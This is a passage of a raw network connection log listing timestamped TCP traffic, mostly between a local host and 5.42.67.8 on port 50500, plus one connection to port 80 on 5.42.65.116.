Jun 20, 2024 06:49:09.169553041 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169557095 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169581890 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169584990 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169611931 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169632912 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169636965 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169661999 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169689894 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169696093 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169717073 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169723034 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169744968 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169763088 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169797897 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169800997 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169826984 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169855118 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169862032 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169882059 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169891119 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169918060 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169929028 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169944048 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.169961929 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.169987917 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170015097 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170032024 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170062065 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170099020 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170113087 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170126915 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170141935 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170171022 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170173883 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170185089 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170217991 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170221090 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170245886 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170249939 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170279026 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170288086 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170317888 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170340061 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170351982 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170368910 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170383930 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170397997 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170424938 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170428991 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170453072 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170455933 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170480967 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170485020 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170511007 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170531034 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170531988 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170559883 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170578003 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170588017 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170615911 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170623064 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170644045 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170665026 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170674086 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170691013 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170716047 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.170727968 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.170769930 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.171962976 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.171977997 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172009945 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172023058 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172027111 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172061920 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172063112 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172077894 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172097921 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172106981 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172123909 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172136068 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172149897 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172164917 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172183990 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172193050 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172208071 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172221899 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172255039 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172256947 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172271967 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172298908 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172312975 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172317028 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172354937 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172408104 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172421932 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172449112 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172461987 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172461987 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172519922 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172533989 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172553062 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172601938 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172610998 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172616005 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172631025 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172636986 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172637939 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172656059 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172660112 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172668934 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172705889 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172720909 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172744989 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172748089 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172769070 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172801971 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172832012 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.172835112 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172851086 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172857046 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172863007 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172879934 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172885895 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172914982 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172928095 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.172971964 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173016071 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173017979 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173038960 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173080921 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173109055 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173136950 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173178911 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173192024 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173192024 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173224926 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173238993 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173253059 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173263073 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173278093 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173280001 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173309088 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173319101 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173321962 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173336029 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173366070 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173366070 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173388004 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173393965 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173403978 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173418999 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173420906 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173444986 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173451900 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173460007 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.173507929 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.173538923 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.174799919 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.174814939 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.174854994 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.174860001 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.174895048 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.174921036 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.174925089 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.174936056 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.174974918 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.174974918 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.174983978 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.174993992 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175002098 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175003052 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175013065 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175056934 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175097942 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175101995 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175112963 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175127029 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175141096 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175153017 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175168991 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175182104 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175194979 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175206900 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175215960 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175239086 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175254107 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175261974 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175288916 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175292969 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175302982 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175321102 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175348997 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175350904 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175364971 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175415039 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:09.175419092 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175432920 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175486088 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175498009 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175543070 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175555944 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175589085 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175601959 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175635099 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175647020 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175673962 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.175685883 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.176209927 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.176383018 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.176395893 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.176413059 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177416086 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177429914 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177454948 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177468061 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177531958 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177545071 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177563906 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177779913 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177869081 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.177881956 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178077936 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178133965 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178147078 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178172112 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178184032 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178277016 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178291082 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178303957 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178317070 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178329945 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178343058 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178369045 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178381920 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178395033 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178406954 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178420067 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178432941 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178828955 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178843021 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178920031 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178932905 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178946018 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178958893 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178985119 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.178997993 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179009914 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179023981 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179049969 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179063082 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179090977 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179104090 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179120064 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179145098 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179157019 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179199934 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179213047 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179225922 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179238081 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179264069 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179275990 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179290056 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179305077 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179325104 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179359913 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179372072 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179384947 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179399014 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179425001 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179438114 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179462910 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.179476023 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180332899 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180383921 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180411100 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180430889 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180443048 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180455923 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180522919 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180536985 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180551052 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180562973 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180591106 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180604935 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180617094 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180629969 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180644035 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180656910 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180681944 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180695057 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180707932 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180721045 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180733919 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180747032 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180779934 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180794001 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180850029 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180871010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:09.180874109 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180883884 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180892944 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180902004 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180912018 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180921078 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180929899 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180938959 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180947065 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180955887 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180964947 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.180974007 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181025028 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181040049 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181052923 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181066036 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181941986 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181956053 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181971073 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.181986094 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182003021 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182018042 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182048082 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182061911 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182086945 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182096004 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:09.182105064 CEST	50500	49732	5.42.67.8	192.168.2.4
